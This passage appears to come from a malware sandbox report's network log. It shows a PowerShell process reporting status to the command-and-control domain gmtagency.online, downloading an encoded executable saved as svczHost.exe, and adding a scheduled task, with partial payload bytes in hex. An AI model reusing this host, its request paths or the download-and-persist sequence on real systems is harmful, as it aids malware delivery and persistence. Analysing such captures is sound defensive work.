dFyK`oONP3mC[1mEPVeKP1GoRTOC[1mEPVeKP1KUVmbyelSuWYSUVGKrXmOCeGWISkCiP1Gs[DeVeFOGVoChS0WoUGW`elOuUlyDTV8oRTOC[1mEPVeKP1GoRTOBNTmIWoOkLmWo[YbvR1mEPVeKP1GoRTOC[1mEPVeKP1GoRTWrVWKFRmOSWWqDWWWW[1msTo[jLkW{XkKF`1mIVliiW2irVjSw[1qHWomhP1mNP3mC[1mEPVeKP1GoRTOC[1m
2024-11-15 00:01:07 UTC	1369	IN	Data Raw: 30 62 30 57 47 71 59 55 6f 5b 68 63 57 4b 37 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6b 6d 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 52 45 43 4e 50 33 6d 43 5b 31 6d 45 50 6b 6d 44 54 56 38 4e 50 33 6d 43 5b 31 6d 45 50 6f 43 60 60 54 47 77 55 47 62 30 65 6c 53 45 50 56 75 60 53 7b 6a 7b 58 6c 30 35 65 6d 6d 59 54 6d 53 6a 57 31 34 70 56 6d 65 56 60 30 71 59 54 59 43 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 54 30 5b 6e 53 57 57 72 52 6a 4b 52 60 31 34 52 54 6d 4f 43 60 57 4b 49 4e 55 4f 68 63 59 69 33 56 57 65 53 5b 30 71 75 53 6f 43 68 53 30 5b 73 52 54 65 46 63 56 53 49 57 6f 6d 4b 50 30 4b 31 56 57 69 6e 54 30 71 58 54 6f 6d 69 57 30 5b 37 52 54 69 4a 63 46 53 48 52 6f 43 60 56 44 30 30 Data Ascii: 0b0WGqYUo[hcWK7SGGw[1mEPVeKP1GoRTOC[1mEPkmDTV8oRTOC[1mEPVeKRECNP3mC[1mEPkmDTV8NP3mC[1mEPoC``TGwUGb0elSEPVu`S{j{Xl05emmYTmSjW14pVmeV`0qYTYCKRIONP3mC[1mEPVeKP1GoT0[nSWWrRjKR`14RTmOC`WKINUOhcYi3VWeS[0quSoChS0[sRTeFcVSIWomKP0K1VWinT0qXTomiW0[7RTiJcFSHRoC`VD00
2024-11-15 00:01:07 UTC	1369	IN	Data Raw: 4f 60 57 30 4b 57 56 57 69 4e 62 6d 5b 48 52 6f 43 60 4c 6c 53 72 58 33 6d 43 65 47 47 58 54 6a 30 68 4c 6c 53 50 58 6c 71 7b 55 6a 4f 71 54 6f 71 60 56 47 48 76 58 57 62 30 63 6c 4f 34 50 55 6d 4b 53 55 57 72 5b 49 6a 79 57 47 6a 78 60 46 79 60 52 47 5b 7b 56 6d 65 52 57 57 6d 58 55 6f 4b 57 4c 6d 58 76 5b 44 65 72 65 57 6e 7b 55 6d 53 60 56 47 47 6f 55 47 57 46 62 33 4b 49 4e 55 4f 57 4c 30 4b 6e 58 33 34 52 52 6d 71 73 4e 59 57 53 63 54 58 76 5b 44 65 56 64 56 47 59 57 6f 71 4b 50 7b 47 47 58 6b 48 30 4c 47 54 7b 54 6f 5b 6b 53 56 79 75 54 6b 48 34 62 46 4b 75 5b 47 43 68 60 31 71 6e 5b 44 69 52 63 46 4f 75 63 46 79 6b 64 6f 4f 4e 50 33 79 56 65 56 4f 75 57 6c 34 69 56 44 35 76 56 6d 69 4b 65 47 54 78 55 6c 38 60 57 30 48 79 58 6a 65 56 60 30 5b 49 53 Data Ascii: O`W0KWVWiNbm[HRoC`LlSrX3mCeGGXTj0hLlSPXlq{UjOqToq`VGHvXWb0clO4PUmKSUWr[IjyWGjx`Fy`RG[{VmeRWWmXUoKWLmXv[DereWn{UmS`VGGoUGWFb3KINUOWL0KnX34RRmqsNYWScTXv[DeVdVGYWoqKP{GGXkH0LGT{To[kSVyuTkH4bFKu[GCh`1qn[DiRcFOucFykdoONP3yVeVOuWl4iVD5vVmiKeGTxUl8`W0HyXjeV`0[IS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49767	188.114.97.3	443	3372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:08 UTC	287	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 140
2024-11-15 00:01:08 UTC	140	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 61 6c 66 6f 6e 73 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
2024-11-15 00:01:08 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:08 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qco%2BLFAeZ250kggkeX%2FbyX2OY4xfLxyKNYC%2BPqGkESHorN3bsJhiXA5H0jbiwtX4eLUurdJ75gVQhb6FE8h9%2BGVTfpTx0OybqxnTBSeU3XYjWnkjkLWxbfQ4hgwwJYJKiANKYT6KZScM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5852&sent=16216&recv=8657&lost=0&retrans=0&sent_bytes=22195914&recv_bytes=786030&delivery_rate=48105922&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af7099a43839e-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1539&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1087&delivery_rate=1869593&cwnd=251&unsent_bytes=0&cid=4ea95e20db5618b2&ts=659&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49813	188.114.97.3	443	3372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:21 UTC	286	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 69
2024-11-15 00:01:21 UTC	69	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
2024-11-15 00:01:21 UTC	950	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:21 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7gpnilf2HAwEPxJUIrTIST1f%2Bqu%2Br9iWS8K0jM8cFD%2FNo7RRnMkr1HUoSLtQY3xOnMYoQ%2FmigqtADEZ2zz7S3PY6OG2%2FsG7Ri1c3rzz9ThrWYnjNzOqDeRUVO1fPKldcmXqWs9HZUdpF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7135&sent=34203&recv=17747&lost=0&retrans=46&sent_bytes=47478823&recv_bytes=772340&delivery_rate=49415384&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af75b48ab0c0b-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1590&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1015&delivery_rate=1779963&cwnd=251&unsent_bytes=0&cid=49574126df1a13a2&ts=694&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49868	188.114.97.3	443	3372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:22 UTC	335	OUT	GET /file2/30bb492ec87899a2b4a8fa5c9eeec469cb660094eba33581c6dea113fbc01c861a0f732c16a5d6a1c436c513590ee7ddfc594f22cd2ed0767e9af9a14520fa71c6f1ceccf1991e36a5391763db9ad6583f43343277a3bbe69d7a76e3b9c488ab HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online
2024-11-15 00:01:23 UTC	1065	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:23 GMT Content-Type: application/octet-stream Content-Length: 8351232 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K%2F8Suq8yWGhyH%2FDmZ3qSY%2BriqSiihHjJNETcoao6qtD4gvkC%2BsqpymZ8AMF1HFOMdjZLYtSiy2OXFVQqSnFMZxVyMjXe5EXOxQwzHsvecDkDMcgQtE7aU1IFfRzwo7XMa6VEJ4fD9KlX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13807&sent=16229&recv=8671&lost=0&retrans=0&sent_bytes=22199237&recv_bytes=794391&delivery_rate=48105922&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af763f91d2e17-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1614&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=973&delivery_rate=1673021&cwnd=245&unsent_bytes=0&cid=e43394920b26d164&ts=683&x=0"
2024-11-15 00:01:23 UTC	304	IN	Data Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 e8 de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 02 d3 0c 66 01 01 01 01 01 01 01 01 f1 01 23 Data Ascii: L[A M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDef#
2024-11-15 00:01:23 UTC	1369	IN	Data Raw: 07 01 01 01 01 01 01 01 01 71 99 01 01 05 01 01 01 01 01 01 02 01 61 80 01 01 11 01 01 01 01 01 01 11 01 01 01 01 01 01 01 01 11 01 01 01 01 01 01 11 01 01 01 01 01 01 01 01 01 01 11 01 01 01 11 29 90 01 59 01 01 01 69 29 90 01 55 00 01 01 01 41 99 01 8b 04 01 01 01 71 92 01 45 ce 05 01 01 01 01 01 01 01 01 01 01 51 99 01 cd 11 01 01 31 8f 87 01 1d 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 91 87 01 29 01 01 01 f1 8d 87 01 41 00 01 01 01 01 01 01 01 01 01 01 01 11 5e 01 01 0a 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 2f 75 64 79 75 01 01 01 79 26 0d 01 01 11 01 01 01 29 0d 01 01 05 01 01 01 01 01 01 01 01 01 01 01 01 01 01 21 01 01 61 2f 6c 60 6f 60 66 64 65 09 ab 3a 01 01 41 0d 01 01 ad 3a 01 01 2d 0d Data Ascii: qa)Yi)UAqEQ1)A^/udyuy&)!a/l`o`fde:A:-
2024-11-15 00:01:23 UTC	1369	IN	Data Raw: d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 84 d5 25 01 49 8c 04 07 d6 4f 01 49 8c 0c f6 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 69 d5 25 01 49 8c 04 20 d6 4f 01 49 8c 0c 13 d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4a d5 25 01 49 8c 04 1d d6 4f 01 49 8c 0c 0c d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 2f d5 25 01 49 8c 04 26 d6 4f 01 49 8c 0c 19 d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 10 d5 25 01 49 8c 04 8b d6 4f 01 49 8c 0c 7a d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f5 d2 25 01 49 8c 04 9c d6 4f 01 49 8c 0c 8f d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 d6 d2 25 01 49 8c 04 a9 d6 4f 01 49 8c 0c 98 d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 bb d2 25 01 49 8c 04 da d6 4f 01 49 8c 0c cd d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 9c d2 25 01 49 8c 04 df d6 Data Ascii: OI8tI%IOIOI8tIi%I OIOI8tIJ%IOIOI8tI/%I&OIOI8tI%IOIzOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tI%I
2024-11-15 00:01:23 UTC	1369	IN	Data Raw: 01 74 00 c2 49 8a d1 e8 33 ce 25 01 49 8c 04 3a db 4f 01 49 8c 0c 2d db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 14 ce 25 01 49 8c 04 2f db 4f 01 49 8c 0c 1e db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f9 cf 25 01 49 8c 04 20 db 4f 01 49 8c 0c 13 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 da cf 25 01 49 8c 04 15 db 4f 01 49 8c 0c 04 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 bf cf 25 01 49 8c 04 16 db 4f 01 49 8c 0c 09 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a0 cf 25 01 49 8c 04 5b db 4f 01 49 8c 0c 4a db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 85 cf 25 01 49 8c 04 4c db 4f 01 49 8c 0c 3f db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 66 cf 25 01 49 8c 04 71 db 4f 01 49 8c 0c 60 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4b cf 25 01 49 8c 04 92 db 4f 01 49 8c 0c 85 Data Ascii: tI3%I:OI-OI8tI%I/OIOI8tI%I OIOI8tI%IOIOI8tI%IOIOI8tI%I[OIJOI8tI%ILOI?OI8tIf%IqOI`OI8tIK%IOI
2024-11-15 00:01:23 UTC	516	IN	Data Raw: 8c 04 8e 57 90 01 49 8a 01 49 8c 0c 74 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c8 25 01 49 8c 04 76 57 90 01 49 8a 01 49 8c 0c 5c ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c8 25 01 49 8c 04 5e 57 90 01 49 8a 01 49 8c 0c 44 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c8 25 01 49 8c 04 46 57 90 01 49 8a 01 49 8c 0c 2c ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c8 25 01 49 8c 04 36 57 90 01 49 8a 01 49 8c 0c 14 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c8 25 01 49 8c 04 36 57 90 01 49 8a 01 49 8c 0c 44 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c8 25 01 49 8c 04 26 57 90 01 49 8a 01 49 8c 0c 2c ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c9 25 01 49 8c 04 0e 57 90 01 49 8a 01 49 8c 0c 14 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c9 25 01 Data Ascii: WIItOI8tI%IvWII\OI8tI%I^WIIDOI8tIg%IFWII,OI8tIG%I6WIIOI8tI'%I6WIIDOI8tI%I&WII,OI8tI%IWIIOI8tI%
2024-11-15 00:01:23 UTC	1369	IN	Data Raw: 90 01 49 8a 01 49 8c 0c c4 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c6 25 01 49 8c 04 96 54 90 01 49 8a 01 49 8c 0c ac cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c6 25 01 49 8c 04 86 54 90 01 49 8a 01 49 8c 0c 9c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c6 25 01 49 8c 04 76 54 90 01 49 8a 01 49 8c 0c 84 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c6 25 01 49 8c 04 66 54 90 01 49 8a 01 49 8c 0c 6c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c6 25 01 49 8c 04 4e 54 90 01 49 8a 01 49 8c 0c 54 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c6 25 01 49 8c 04 36 54 90 01 49 8a 01 49 8c 0c 3c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c7 25 01 49 8c 04 26 54 90 01 49 8a 01 49 8c 0c 24 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c7 25 01 49 8c 04 0e Data Ascii: IIOI8tI%ITIIOI8tI%ITIIOI8tIg%IvTIIOI8tIG%IfTIIlOI8tI'%INTIITOI8tI%I6TII<OI8tI%I&TII$OI8tI%I
2024-11-15 00:01:23 UTC	1369	IN	Data Raw: 25 01 49 8c 04 d6 53 90 01 49 8a 01 49 8c 0c 5c c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c3 25 01 49 8c 04 be 53 90 01 49 8a 01 49 8c 0c 44 c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c3 25 01 49 8c 04 a6 53 90 01 49 8a 01 49 8c 0c 2c c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c3 25 01 49 8c 04 8e 53 90 01 49 8a 01 49 8c 0c 14 c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c0 25 01 49 8c 04 76 53 90 01 49 8a 01 49 8c 0c fc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c0 25 01 49 8c 04 5e 53 90 01 49 8a 01 49 8c 0c e4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c0 25 01 49 8c 04 46 53 90 01 49 8a 01 49 8c 0c cc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c0 25 01 49 8c 04 2e 53 90 01 49 8a 01 49 8c 0c bc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 Data Ascii: %ISII\OI8tIG%ISIIDOI8tI'%ISII,OI8tI%ISIIOI8tI%IvSIIOI8tI%I^SIIOI8tI%IFSIIOI8tI%I.SIIOI8tIg
2024-11-15 00:01:23 UTC	1369	IN	Data Raw: c2 49 8a d1 e8 07 bc 25 01 49 8c 04 e6 4e 90 01 49 8a 01 49 8c 0c b4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 bd 25 01 49 8c 04 ce 4e 90 01 49 8a 01 49 8c 0c a4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bd 25 01 49 8c 04 c6 4e 90 01 49 8a 01 49 8c 0c 8c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bd 25 01 49 8c 04 b6 4e 90 01 49 8a 01 49 8c 0c 7c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bd 25 01 49 8c 04 ae 4e 90 01 49 8a 01 49 8c 0c 64 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bd 25 01 49 8c 04 9e 4e 90 01 49 8a 01 49 8c 0c 4c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bd 25 01 49 8c 04 96 4e 90 01 49 8a 01 49 8c 0c 34 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bd 25 01 49 8c 04 7e 4e 90 01 49 8a 01 49 8c 0c 1c c7 4f 01 49 82 38 01 74 Data Ascii: I%INIIOI8tI%INIIOI8tI%INIIOI8tI%INII\|OI8tI%INIIdOI8tIg%INIILOI8tIG%INII4OI8tI'%I~NIIOI8t
2024-11-15 00:01:23 UTC	1369	IN	Data Raw: 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b6 25 01 49 8c 04 a6 4f 90 01 49 8a 01 49 8c 0c 6c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b6 25 01 49 8c 04 a6 4f 90 01 49 8a 01 49 8c 0c 5c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b6 25 01 49 8c 04 8e 4f 90 01 49 8a 01 49 8c 0c 4c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b6 25 01 49 8c 04 7e 4f 90 01 49 8a 01 49 8c 0c 34 c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b6 25 01 49 8c 04 76 4f 90 01 49 8a 01 49 8c 0c 1c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b6 25 01 49 8c 04 6e 4f 90 01 49 8a 01 49 8c 0c 04 c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b7 25 01 49 8c 04 56 4f 90 01 49 8a 01 49 8c 0c ec c3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b7 25 01 49 8c 04 3e 4f 90 01 49 8a 01 49 8c 0c d4 c3 Data Ascii: I8tI%IOIIlOI8tI%IOII\OI8tIg%IOIILOI8tIG%I~OII4OI8tI'%IvOIIOI8tI%InOIIOI8tI%IVOIIOI8tI%I>OII
2024-11-15 00:01:23 UTC	1369	IN	Data Raw: 01 49 8c 0c ec be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b3 25 01 49 8c 04 76 4a 90 01 49 8a 01 49 8c 0c e4 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b3 25 01 49 8c 04 5e 4a 90 01 49 8a 01 49 8c 0c cc be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b3 25 01 49 8c 04 46 4a 90 01 49 8a 01 49 8c 0c b4 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b0 25 01 49 8c 04 2e 4a 90 01 49 8a 01 49 8c 0c 9c be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b0 25 01 49 8c 04 1e 4a 90 01 49 8a 01 49 8c 0c 84 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b0 25 01 49 8c 04 06 4a 90 01 49 8a 01 49 8c 0c 94 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b0 25 01 49 8c 04 ee 4b 90 01 49 8a 01 49 8c 0c 7c be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b0 25 01 49 8c 04 fe 4b 90 01 49 Data Ascii: IOI8tIG%IvJIIOI8tI'%I^JIIOI8tI%IFJIIOI8tI%I.JIIOI8tI%IJIIOI8tI%IJIIOI8tI%IKII\|OI8tIg%IKI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49874	188.114.97.3	443	3372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:36 UTC	287	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 200
2024-11-15 00:01:36 UTC	200	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
2024-11-15 00:01:36 UTC	949	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:36 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C6NsZj0I92K6CNrsrjDDrJYD94pcfLmbcNhVnFpCg7uKheGJvXiu5j84gXisnIQFhH4CEXIMg6T%2FgUTfsBTa%2BPn6YElbJg0mS%2FHh%2B20S8xj3sXC96sZ26RmZ0WMeBPE9uP2lnlvnFUP3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10829&sent=66262&recv=33028&lost=0&retrans=0&sent_bytes=92898056&recv_bytes=1488545&delivery_rate=47676659&cwnd=285&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af7bbd974c872-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1166&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1147&delivery_rate=2479452&cwnd=252&unsent_bytes=0&cid=1e287f955ca147e6&ts=443&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49875	188.114.97.3	443	3372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:37 UTC	286	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 97
2024-11-15 00:01:37 UTC	97	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
